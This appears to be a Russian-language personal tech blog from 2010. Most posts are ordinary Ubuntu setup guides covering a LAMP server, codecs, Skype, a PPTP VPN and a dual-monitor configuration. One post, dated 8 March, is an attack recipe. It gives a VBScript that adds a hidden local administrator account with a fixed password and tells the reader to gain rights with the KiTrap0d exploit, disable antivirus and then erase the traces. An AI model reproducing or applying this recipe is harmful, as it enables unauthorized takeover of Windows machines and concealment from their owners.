пятница, 19 марта 2010 г.

Установка LAMP на ubuntu server

LAMP сервер на базе 8,04 LTS Ubuntu Server
предлагается использовать установочный диск- ubuntu-8.04-server
И следующее дополнительное программное обеспечение:
 
   * Web сервер: Apache 2.2 вместе с PHP 5.2.4 и Ruby
   * Сервер базы данных: MySQL 5.0
   * FTP сервер: proftpd
   * Webalizer- пакет для сбора статистики вашего web сайта
   * Webmin_1.410-  для управления сервером через web интерфейс
 
последний загрузим с  офсайта:
Код:
установим:
Код:
dpkg -i webmin_1.410_all.deb
подправим зависимости:
Код:
apt-get -f install
 
Примечание: Можно установить птичку LAMP при установке дистрибутива, но я люблю делать такие вещи осмысленно и под контролем.
 
Первый шаг или самое главное:
Устанавливаем Ubuntu 8.04 LTS server CD, дистрибутив которого, можно загрузить здесь:
 
Установка проходит графическом режиме, и достаточно проста.
После перезагрузки, активизируем пользователя root, запускаем команду (после ввода команды- нажимаем Enter):
 
Код:
sudo passwd root
 
Вводим пароль для пользователя root, а затем команду su, чтобы дальнейшие операции совершать под ним.  
 
Код:
su
Натраиваем сетевые карты сервера, редактируя файл /etc/network/interfaces:
 
Код:
nano -w  /etc/network/interfaces
 
Смотрим содержание файла ниже (у вас адреса могут быть свои)
 
Код:
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
 
# The loopback network interface
auto lo
iface lo inet loopback
 
# The primary network interface
auto eth0
iface eth0 inet static
       address 192.168.1.10
       netmask 255.255.255.0
       network 192.168.1.0
       broadcast 192.168.1.255
       gateway 192.168.1.1
 
Перезапускаем нашу сеть:
 
Код:
/etc/init.d/networking restart
 
Редактируем имя нашего сервера:
 
Код:
nano  -w  /etc/hosts
 
Пример:
 
Код:
127.0.0.1       localhost.localdomain   localhost
192.168.1.10   server.home.net     server
 
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
 
Далее выполняем команды:
 
Код:
echo server.home.net > /etc/hostname
/etc/init.d/hostname.sh start
 
проверяем, что получилось:
 
Код:
hostname
hostname -f
 
Если вы увидели надписи на экране server.home.net, то продолжаем.
 
Далее мы редактируем лист со списком необходимых нам репозитариев:
 
Код:
nano  -w  /etc/apt/sources.list
 
Содержимое этого файла- список адресов смотрите ниже:
 
Код:
#
# deb cdrom:[Ubuntu-Server 8.04 _Hardy Heron_ - Release i386 (20080423.2)]/ hardy main restricted
 
#deb cdrom:[Ubuntu-Server 8.04 _Hardy Heron_ - Release i386 (20080423.2)]/ hardy main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
 
deb http://de.archive.ubuntu.com/ubuntu/ hardy main restricted
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy main restricted
 
## Major bug fix updates produced after the final release of the
## distribution.
deb http://de.archive.ubuntu.com/ubuntu/ hardy-updates main restricted
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy-updates main restricted
 
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy universe
deb http://de.archive.ubuntu.com/ubuntu/ hardy-updates universe
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy-updates universe
 
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy multiverse
deb http://de.archive.ubuntu.com/ubuntu/ hardy-updates multiverse
deb-src http://de.archive.ubuntu.com/ubuntu/ hardy-updates multiverse
 
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://de.archive.ubuntu.com/ubuntu/ hardy-backports main restricted universe multiverse
# deb-src http://de.archive.ubuntu.com/ubuntu/ hardy-backports main restricted universe multiverse
 
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository. This software is not part of Ubuntu, but is
## offered by Canonical and the respective vendors as a service to Ubuntu
## users.
# deb-src http://archive.canonical.com/ubuntu hardy partner
 
deb http://security.ubuntu.com/ubuntu hardy-security main restricted
deb-src http://security.ubuntu.com/ubuntu hardy-security main restricted
deb http://security.ubuntu.com/ubuntu hardy-security universe
deb-src http://security.ubuntu.com/ubuntu hardy-security universe
deb http://security.ubuntu.com/ubuntu hardy-security multiverse
deb-src http://security.ubuntu.com/ubuntu hardy-security multiverse
 
Далее с целью обновления базы данных доступных в репозитарих пакетов, запускаем команду:
 
Код:
apt-get update
 
И с целью обновления уже устанавленных пакетов ещё одну:
 
Код:
apt-get upgrade
 
Проверяем не забыли ли мы устанавить SSH сервер, что я обычно делаю опционально, при установке дистрибутива в окне выбор софта.
 
Код:
apt-get install ssh openssh-server
 
Затем устанавливаем пакеты для Mysql сервера:
 
Код:
apt-get install mysql-server mysql-client libmysqlclient15-dev
 
По ходу установки вводим пароль пользователя сервера Mysql (root): в этой версии 2 раза, второй раз для проверки правильности.
 
New password for the MySQL "root" user: <-- yourrootsqlpassword ВАШ ПАРОЛЬ
Repeat password for the MySQL "root" user: <-- yourrootsqlpassword ЕЩЕ РАЗ ВАШ ПАРОЛЬ
 
Перезагрузим его (сервер MySQL):
 
Код:
/etc/init.d/mysql restart
 
То же самое для сервера Apashe:
 
Код:
apt-get install apache2 apache2-doc apache2-mpm-prefork apache2-utils libexpat1 ssl-cert
 
Устанавливаем пакеты PHP:
 
Код:
apt-get install libapache2-mod-php5 libapache2-mod-ruby php5 php5-common php5-curl php5-dev php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-mhash php5-ming php5-mysql php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl
Расширим диапазон запускаемых файлов, для чего подредактируем файл dir.conf, с помощью редактора nano:
 
Код:
nano -w /etc/apache2/mods-available/dir.conf
 
Пример как надо сделать, находится ниже:
Код:
 
         #DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm
         DirectoryIndex index.html index.htm index.shtml index.cgi index.php index.php3 index.pl index.xhtml
 
 
Запускаем необходимые модули:
 
Код:
a2enmod ssl
a2enmod rewrite
a2enmod suexec
a2enmod include
 
Перезагружаем сервер Apashe:
 
Код:
/etc/init.d/apache2 force-reload
 
Можно при необходимости установить FTP сервер:
 
Код:
apt-get install proftpd ucf
 
При появлении надписи:
 
Run proftpd: <-- standalone (самостоятельно)
 
Нажимаем OK
 
Для безопасности подправим конфигурационный файл FTP сервера:
 
Код:
nano  -w  /etc/proftpd/proftpd.conf
 
Пример:
 
Код:
[...]
DefaultRoot ~
IdentLookups off
ServerIdent on "FTP Server ready."
[...]
 
Для сбора статистики вашего web сайта, можно установить пакетwebalizer
Код:
apt-get install webalizer
 
Для синхронизации системных часов с серверами в Интернете ставим следующие пакеты:
 
Код:
apt-get install ntp ntpdate
 
Для управления через web интерфейс, как писал выше, загружаем и ставим пакет webmin:
 
 
Код:
apt-get install webmin_1.410_all.deb
 
При необходимости пакет phpmyadmin для управления базами mysql через web интерфейс:
 
Код:
apt-get install phpmyadmin
 
Файловый менеджер MC:
 
Код:
apt-get install mc
 
и если вы установили русский язык то и этот пакет:
 
Код:
apt-get install console-cyrillic
 
И для всяких нужд (сборки пакетов и других возможных работ), можно установить дополнительное программное обеспечение:
 
Код:
apt-get install binutils cpp fetchmail flex gcc libarchive-zip-perl libc6-dev libcompress-zlib-perl libdb4.3-dev libpcre3 libpopt-dev lynx m4 make ncftp nmap openssl perl perl-modules unzip zip zlib1g-dev autoconf automake1.9 libtool bison autotools-dev g++ build-essential
 
В принципе, этого всего мне хватает, чтобы установить и проверить работоспособность кучи софта: форумов, сайтов, CRM и прочая, прочая......
 
P.S. у известных авторов подобных статей, которая появилась буквально сегодня:
есть мнение, что  паект AppArmor, подменящий в какой то мере пакет SELinux, вызывает непредсказуемые ошибки при установке серезных PHP и др. приложений, поэтому предлагают его выключить следующими командами:
 
Код:
/etc/init.d/apparmor stop
update-rc.d -f apparmor remove
Пока все.
Да все это у меня полмесяца, уже работает без проблем!
 
И как я рекомендую начинающим, ВСЕ это можно установить на рабочей десктопной машине, т.е.с X -ми вместе!  Можно так же загрузить и серверное ядро, хотя и так все будет работать.
Правда, компиз при этом ядре у Вас перестанет работать, но изучать сервер вы можете без проблем:
 
Код:
apt-get install linux-server
установка серверного ядра (если для дома и для изучения, то не обязательно).

понедельник, 8 марта 2010 г.

Добавление из под юзера админской учетки в windows

Составляем скрипт добавления администратора:

Set s=CreateObject("WScript.Shell")
s.run"C:\windows\system32\net.exe user zimper qwerty /add", True
s.run"C:\windows\system32\net.exe localgroup Администраторы zimper /add", True
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.GetFile(WScript.ScriptFullName)
s.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\MIcrosoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\zimper<=(<имя пользователя>)",0,"REG_DWORD"



Сохраняем в файле например: admin.vbs

Далее, чтобы он выполнился без ошибок, необходимо иметь права админа в консоли.
Для их получения можно воспользоваться глобальной уязвимостью всех оконных систем через метасплоит kitrap0d. Скачиваем сплоит, далее из консоли запускаем файл vdmallowed.exe. Его запуск могут пытаться блокировать анитвирусы, поэтому, по возможности, лучше все отключить. После запуска vdmallowed.exe с правами администратора запускаем файл admin.vbs. Все, теперь новый администратор с ником zimper и паролем qwerty должен быть добавлен.
Перезагружаемся и заходим под админом.
Чтобы удалить следы учетной записи, нужно будет удалить папку пользователя zimper (из консоли это - rmdir с:/Documents and Settings/zimper /s), а также из реестра запись
HKEY_LOCAL_MACHINE\SOFTWARE\MIcrosoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\zimper<=(<имя пользователя>)

суббота, 6 марта 2010 г.

Установка аудио и видео кодеков в Ubuntu 9.10

Install driver sound on Ubuntu 9.10 Karmic to supporting mp3, DVD playback, GStreamer Plugins, and etc that will support audio video for Ubuntu karmic.
We will install via terminal. Press Alt + F2 >> gnome-terminal

$ sudo aptitude install ubuntu-restricted-extras

After finished, We can play audio video, flash and many audio format on ubuntu 9.10 Karmic.

Installed multimedia application for Ubuntu Karmic.

The best mp3 player on Ubuntu 9.10 Karmic

Amarok - Rediscover your music

$ sudo apt-get install amarok

Audacious

$ sudo apt-get install audacious


Songbird
Download and extract Songbird

$ wget http://download.songbirdnest.com/installer/linux/i686/Songbird_1.2.0-1146_linux-i686.tar.gz
$ sudo tar -zxvf Songbird_1.2.0-1146_linux-i686.tar.gz -C /opt

Run Songbird

$ cd /opt/Songbird
$ ./songbird

Create shortcut of songbird on Desktop
Right click >> Create Launcher

Name : Songbird
Command : "/opt/Songbird/songbird"
Comment : Mp3 player


After finished, you can start songbird via desktop.

The most used DVD or VCD player on Ubuntu 9.10 Karmic

VLC

$ sudo apt-get install vlc

Kaffeine

$ sudo apt-get install kaffeine

Kmplayer

$ sudo apt-get install kmplayer

Mplayer

$ sudo apt-get install mplayer

Smplayer

$ sudo apt-get install smplayer

Enjoy it to play your music and video.

установка skype

Installing Skype

Skype is not available in any Ubuntu software repository, and therefore cannot be installed with Ubuntu's package management software such as Synaptic or apt-get without adding a repository containing Skype. There is the official Skype repository: http://forum.skype.com/index.php?showtopic=29679


Edit conflict - other version:

You can add the Apt source like this
echo "deb http://download.skype.com/linux/repos/debian/ stable non-free #Skype" | sudo tee -a /etc/apt/sources.list > /dev/null

Import the Apt key, even it is not used, but may be useful in future:
gpg --keyserver pgp.mit.edu --recv-keys 0xd66b746e && gpg --export --armor 0xd66b746e | sudo apt-key add -

Install Skype:
sudo aptitude update && sudo aptitude install skype

Using a repository, you will automatically receive future updates to the software. Please be aware that the repository is not signed, so when you try to install Skype, you will get a warning.

Настройка VPN

Настройка VPN при статическом IP

Дано:
ОС: Ubuntu 9.10 (AMD64)
IP: 10.2.*.*
Маска подсети: 255.255.255.0
Шлюз 10.2.*.1
DNS-сервер: 10.1.1.1
Тип аутентификации: MD5 CHAP (можно посмотреть в свойствах соединения)

Источники:
http://help.ubuntu.ru/wiki/настройка_сети_вручную
http://www.pixelbeat.org/cmdline_ru_RU.html
и конечно, эта ветка форума.

В установочном CD нет пакетов для поддержки VPN. Их следует выкачать заранее
с официального репозитория.
Необходимы следующие пакеты:
pptp-linux - собственно, поддержка VPN в Ubuntu.
network-manager-pptp - дополнение к Network Manager, выглядит как закладка VPN в настройках.

Однако, визуальная настройка для при статическом IP не очень-то получается,
всё равно приходиться править файлы настроек. Поэтому, пакет network-manager-pptp
можно и не качать, тем более, что он опирается на несколько других пакетов, часть
из которых тоже нет в установочном CD.
Если будете качать и настраивать через Network Manager, проверьте маршруты и попробуйте
добавить туда

10.1.1.1 10.2.*.1 255.255.255.255 UGH 0 0 0 eth0

может быть, всё нижеописанное и не понадобится.

Если всё же решили установить network-manager-pptp, то для его установки потребуется
выкачать заранее следующие пакеты (пишу в порядке установки, отражающей зависимости):

libidl0
liborbit2
gconf2-common
libgconf2-4
libglade2
libgnome-keyring0

Есть информация (я не проверял), что в KUbuntu очень удобно настраивать VPN
утилитой KVPNC, предварительно установив следующие пакеты:

sudo aptitude install pptp-linux
sudo aptitude install pptpd
sudo aptitude install kvpnc

Все пакеты можно найти через сайт http://packages.ubuntu.com/
и установить на свежеустановленной системе.

После этого приступаем к настройке. Опишу настройку "вручную",
визуальная настройка интуитивно понятна: вызываем Network Manager,
открываем закладку VPN, выбираем тип VPN (там их три) и вводим
параметры в соответствующие поля.

Перед началом настройки проверьте (route -n), что таблица
маршрутов пуста.
Остановите Network Manager (http://help.ubuntu.ru/wiki/отключение_network_manager_а).
Если после правки файлов и перезагрузки компьютера значок Network Manager в трее
сообщает "Интерфейс не обрабатывается", значит, специально его отключать не нужно.
Обычно, отключение автоматического запуска в Ubuntu 8.10, 9.04, 9.10 не требуется,
т. к. при наличии пользовательских настроек в файле /etc/network/interfaces
Network Manager не вмешивается в работу сети.

Открываем /etc/resolv.conf
В нём нужна лишь одна строчка:
nameserver 10.1.1.1
Если таковой нет, значит принудительно создаем файл и
прописываем в нём адреса наших DNS серверов.

Редактируем файл /etc/ppp/options.pptp:

ЗАМЕЧАНИЕ: В файле /etc/ppp/options находятся множество опций по умолчанию.
Проверьте этот файл прежде, чем править /etc/ppp/options.pptp
возможно, писать надо будет совсем немного.

Я привожу содержание файлов вместе с комментариями (#), можно копировать весь текст целиком в свои файлы.

CODE
# Lock the port (дословно: блокировать порт?)
# Использовать lock в стиле UUCP для последовательного устройства
lock

# Аутентификация
# We don't need the tunnel server to authenticate itself
# Не требовать удаленную сторону назвать себя
noauth

# Тип аутентификации (PAP, EAP, CHAP, MSCHAP или MSCHAP-V2)
# We won't do PAP, EAP, CHAP, or MSCHAP, but we will accept MSCHAP-V2
# отсутствующее (или закомментированное) запрещение (refuse) означает использование
# того и иного типа аутентификации
# (вы можете убрать эти запрещения (refuse), если сервер не использует MPPE)
# в соответствии с выбранным типом пароли следует вписывать в один из следующих файлов:
# /etc/ppp/pap-secrets, /etc/ppp/eap-secrets, /etc/ppp/chap-secrets ...
refuse-pap
refuse-eap
#refuse-chap
refuse-mschap
refuse-mschap-v2

# Сжатие
# выключение протоколов сжатия
nobsdcomp

# не использовать deflate сжатие (хотя говорят с ним работает быстрее, не знаю - не проверял)
nodeflate

# Не отключаться когда соединение закрыто, пробовать открыть его снова
persist

# Encryption (шифрование)
# (There have been multiple versions of PPP with encryption support,
# choose with of the following sections you will use. Note that MPPE
# requires the use of MSCHAP-V2 during authentication)
# Также, если у вас в соединении используется шифрование, то добавляем
# одну из строк, в зависимости от типа шифрования (снять # у нужной строки)
#require-mschap-v2
#require-mppe-40
#require-mppe-128
#require-mppe.

# http://ppp.samba.org/ the PPP project version of PPP by Paul Mackarras
# ppp-2.4.2 or later with MPPE only, kernel module ppp_mppe.o
# {{{
# Require MPPE 128-bit encryption
#require-mppe-128
# }}}

# http://polbox.com/h/hs001/ fork from PPP project by Jan Dubiec
# ppp-2.4.2 or later with MPPE and MPPC, kernel module ppp_mppe_mppc.o
# {{{
# Require MPPE 128-bit encryption
#mppe required,stateless
# }}}


Создаем файл подключения /etc/ppp/peers/<имя подключения>,
например: /etc/ppp/peers/Факториал-Интернет (как у меня) или /etc/ppp/peers/myvpn.

CODE
# Читать дополнительные настройки из options.pptp
file /etc/ppp/options.pptp

# Ваш логин
name <логин>

# Устанавливаем имя удаленного хоста
remotename PPTP

# Команда для соединения
pty "pptp vpn.454.ru --nolaunchpppd"

# Тип аутентификации. Помимо +chap может использоваться тип +pap и др.
# Относится к удалённому хосту (remotename),
# при указании нужно дописать пароль в файл /etc/ppp/*-secrets
# The remote system (PPTP) is required to authenticate itself
# but I couldn't find any suitable secret (password) for it to use to do so.
#+pap
#+chap

# При отсутствии связи всегда пытаемся подключиться
maxfail 0

# Узнаем о «самочувствии» удаленной стороны каждые 60 сек
# если не указывать этот параметр - он будет взят из
# файла /etc/ppp/options со значением в 30 с.
lcp-echo-interval 60

# Если удаленная сторона не ответила 4 раза – считаем что нас отключили
lcp-echo-failure 4

# Установить маршрут по умолчанию
defaultroute

# эта строчка нужна для создания маршрута по умолчанию
# аналог команды "sudo route add default dev ppp0"
# здесь что-то о том, что маршрут по умолчанию для локалки не нужен
# лучше вместо него поставить маршрут для тоннеля
# http://l4u.jinr.ru/~kras/docs/beta/admin/ch04s03s04.html
# Иными словами - интерфейс eth0 занимает дефолтовый маршрут
# и тоннелю, который создаётся позже, уже ничего не остаётся
# надо разрешить тоннелю занять дефолтовый маршрут
replacedefaultroute

# Дополнительный параметр для скриптов ip-up, ip-pre-up, ip-down
ipparam Факториал-Интернет

# Включить «Deflate» сжатие
# (в файле options.pptp не должно быть параметра nodeflate)
# или не надо использовать параметры из options.pptp
#deflate 15,15

# Максимальный размер передаваемого пакета
# (изменяют этот параметр обычно тогда, когда часто отключается соединение
# или не открываются некоторые сайты)
#mtu 1412

# Максимальный размер получаемого пакета
#mru 1412


Если в файле /etc/ppp/options.pptp определились с выбором типа
аутентификации, правим файл /etc/ppp/<тип аутентификации>-secrets.
Для Факториала это /etc/ppp/chap-secrets

Вставляем в конец файла строку:

CODE
<логин> PPTP <пароль> *


Внимание!!! Между словами не пробел, а Tab.
Формат строчки может меняться в разных версиях Linux,
для проверки смотрите строчку-пример в файле
/etc/ppp/<тип аутентификации>-secrets.

Тоннель настроен. Сконфигурируем сетевую карту.
Редактируем файл /etc/network/interfaces.

CODE
auto lo
iface lo inet loopback

# eth0 - интерфейс сетевого устройства, через которое

# строчка для привязки статического IP к интерфейсу
# ниже для этого случая нужно указать IP-адрес и маску подсети
iface eth0 inet static
address 10.2.*.*
netmask 255.255.255.0
gateway 10.2.*.1

auto eth0

#Строки для автоподключения VPN - можно не писать и включать вручную.
# ppp0 - интерфейс соединения по VPN
iface ppp0 inet ppp

# имя провайдера без кавычек
# название VPN-соединения, которое создано в папке /etc/ppp/peers/.
provider Факториал-Интернет

# Включить интерфейс eth0 ()
# без следующей строчки интерфейс ppp0 в маршрутах вообще не создаётся
pre-up ip link set eth0 up

# добавление недостающего маршрута
pre-up route add -net 10.1.1.1 netmask 255.255.255.255 gw 10.2.*.1 dev eth0

# подключается VPN-соединение, определяется с помощью ifconfig -a
# эту строчку советуют ставить после iface ...
auto ppp0


После изменения файла /etc/network/interfaces необходимо перезапустить
сетевые подключения командой:

sudo /etc/init.d/networking restart

Выполнение этой команды должно происходить без ошибок.
Её удобно использовать для проверки настроек.
Если ошибки есть – то скорее всего в файле /etc/network/interfaces
есть опечатки.

Совет: ошибка пишется вместе с номером строки, где она произошла,
так что сразу смотрим на сроку номер х и делаем всё как надо.

На заметку:
Следующая ошибка связана с местом команды auto ppp0 или auto eth0
в файле /etc/network/interfaces:
/etc/network/interfaces:34: misplaced option
ifdown: couldn't read interfaces file "/etc/network/interfaces"

Замечание:
В связи с заменой маршрута по умолчанию строчка
pre-up route add -net 10.1.1.1 netmask 255.255.255.255 gw 10.2.*.1 dev eth0
работает корректно только при загрузке компьютера, для чистой таблицы маршрутов.
Повторные запуски sudo /etc/init.d/networking restart вызовут ошибки добавления
и удаления маршрутов. Надо доработать файл /etc/network/interfaces в плане
удаления маршрутов при выключении соединения.
Из-за подобной недоработки предлагаю пока тестировать сеть без строк автозапуска
VPN в /etc/network/interfaces. Если всё будет в порядке: добавите эти строки и
и при перезагрузке будете иметь автоматический VPN.

Неожиданно заметил интересный эффект: чтобы при включенном VPN-подключении можно было пользоваться местной
локальной сетью, DC++, Jabber и др. к "моей" таблице маршрутов уже ничего не надо добавлять.

Проверяем интерфейсы
ifconfig -a
или
ip link show

Команда должна показать два интерфейса lo0 и eth0
(если дописали автоподключение, то все три: lo0, eth0, ppp0).
Если так и есть – все хорошо. Сеть настроена. Сейчас должен
идти пинг на шлюз и PPTP-сервер. Проверим:

ping -c3 10.1.1.1 - шлюз
ping -c3 10.2.*.1 - PPTP-сервер

Если не идет пинг на шлюз – проверьте подключен ли кабель,
если на шлюз пинг есть а на PPTP сервер нет – смотрим:
правильно ли прописана маршрутизация:

route -n

Если в файле /etc/network/interfaces не вписывать строки для автоподключения VPN,
то будет создана следующая таблица маршрутов:

CODE

10.2.*.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 eth0
0.0.0.0 10.2.*.1 0.0.0.0 UG 100 0 0 eth0


для работы локалки, без интернета, этого совершенно достаточно
последняя строчка - тот самый дефолтовый маршрут, занятый eth0.

После подключения тоннеля командой "sudo pon Факториал-Интернет" получаем следующее:

CODE

172.16.1.11 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0
10.1.1.2 10.2.*.1 255.255.255.255 UGH 0 0 0 eth0
10.2.*.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 eth0
0.0.0.0 0.0.0.0 0.0.0.0 U 0 0 0 ppp0


# здесь дефолтовый маршрут для eth0 уже заменён на ppp0
# проблема в том, что через шлюз 10.2.*.1 идёт только 10.1.1.2,
# но не 10.1.1.1, преобразующийся в "белый" IP 172.16.1.11
# нет маршрута 10.1.1.1 -> 172.16.1.11 -> 10.2.*.1
# добавим его командой "sudo route add -host 10.1.1.1 gw 10.2.*.1"

Работающая таблица маршрутов будет выглядеть так:
CODE

172.16.1.11 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0
10.1.1.2 10.2.*.1 255.255.255.255 UGH 0 0 0 eth0
10.1.1.1 10.2.*.1 255.255.255.255 UGH 0 0 0 eth0
10.2.*.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 eth0
0.0.0.0 0.0.0.0 0.0.0.0 U 0 0 0 ppp0


При настройке VPN, в процессе проб и ошибок перед каждой перезагрузкой
сети проверяйте через "ip link show" отсутствие тоннеля ppp0
иначе будут создаваться новые тоннели, что внесёт путаницу.
Тоннели, созданные на предыдущем шаге, закрывайте через poff.
Если не переждать разъединения или не отключить тоннель, то
будут появляться подключения по нарастающей [ppp0, ppp1, ppp2...].

Если решили сделать автоподключение VPN, то работающая таблица маршрутов
должна возникнуть сразу же после перезагрузки сети командой
sudo /etc/init.d/networking restart.

Если все хорошо, пингуется как шлюз так и PPTP сервер,
устраивает таблица маршрутизации:
запускаем браузер и проверяем работу интернета.

Если интернет всё-таки не заработал, проверим настройки командой
pon Факториал-Интернет debug dump logfd 2 nodetach
выход - Ctrl+C
С её помощью можно увидеть, какие параметры из каких файлов взялись
и взялись ли вообще. Будет написан так же результат проверки пароля
сервером (вдруг ошиблись в написании) или выборе протокола.

Для ручного включения-выключения тоннеля VPN
существуют следующие команды:

Включение:
sudo pon Факториал-Интернет

Выключение:
sudo poff Факториал-Интернет

пятница, 5 марта 2010 г.

Настройка 2х мониторов в Ubuntu 9.10

Сначало нужно через консоль переконфигурировать файл /etc/X11/xorg.conf
командой nvidia-xconfig

После этого в программе Nvidia X Server Settings настроить нужную конфигурацию мониторов и далее при нажатии на Save to X Configuration FIle выбрать preview и оттуда скопировать данные для занесения через текстовый редактор в конфигурационный файл, иначе не хочет сохранять.
sudo gedit /etc/X11/xorg.conf

Для моей конфигурации, файл будет выглядеть следующим образом:

# nvidia-settings: X configuration file generated by nvidia-settings
# nvidia-settings: version 1.0 (buildd@palmer) Sun Feb 1 20:21:04 UTC 2009

# nvidia-xconfig: X configuration file generated by nvidia-xconfig
# nvidia-xconfig: version 1.0 (buildmeister@builder63) Fri Aug 14 17:54:58 PDT 2009

Section "ServerLayout"
Identifier "Layout0"
Screen 0 "Screen0" 0 0
InputDevice "Keyboard0" "CoreKeyboard"
InputDevice "Mouse0" "CorePointer"
EndSection

Section "Files"
EndSection

Section "ServerFlags"
Option "Xinerama" "0"
EndSection

Section "InputDevice"

# generated from default
Identifier "Mouse0"
Driver "mouse"
Option "Protocol" "auto"
Option "Device" "/dev/psaux"
Option "Emulate3Buttons" "no"
Option "ZAxisMapping" "4 5"
EndSection

Section "InputDevice"

# generated from default
Identifier "Keyboard0"
Driver "kbd"
EndSection

Section "Monitor"
Identifier "Monitor0"
VendorName "Unknown"
ModelName "LG T710BH"
HorizSync 30.0 - 71.0
VertRefresh 50.0 - 160.0
Option "DPMS"
EndSection

Section "Monitor"
Identifier "Monitor1"
VendorName "Unknown"
ModelName "LG L1718S"
HorizSync 30.0 - 83.0
VertRefresh 50.0 - 75.0
EndSection

Section "Device"
Identifier "Device0"
Driver "nvidia"
VendorName "NVIDIA Corporation"
BoardName "GeForce 7600 GT"
EndSection

Section "Device"
Identifier "Device1"
Driver "nvidia"
VendorName "NVIDIA Corporation"
BoardName "GeForce 7600 GT"
BusID "PCI:1:0:0"
Screen 1
EndSection

Section "Screen"

# Removed Option "TwinView" "0"
# Removed Option "TwinViewXineramaInfoOrder" "CRT-0"
# Removed Option "metamodes" "CRT-0: nvidia-auto-select +0+0"
# Removed Option "metamodes" "CRT-0: 1024x768 +1280+0, CRT-1: 1280x1024_75 +0+0; CRT-0: 1024x768 +0+0"
Identifier "Screen0"
Device "Device0"
Monitor "Monitor0"
DefaultDepth 24
Option "TwinView" "1"
Option "TwinViewXineramaInfoOrder" "CRT-1"
Option "metamodes" "CRT-0: 1024x768 +1280+0, CRT-1: 1280x1024 +0+0; CRT-0: 1024x768 +1280+0, CRT-1: 1280x1024_75 +0+0"
SubSection "Display"
Depth 24
EndSubSection
EndSection

Section "Screen"
Identifier "Screen1"
Device "Device1"
Monitor "Monitor1"
DefaultDepth 24
Option "TwinView" "0"
Option "metamodes" "CRT-1: 1280x1024 +0+0"
SubSection "Display"
Depth 24
EndSubSection
EndSection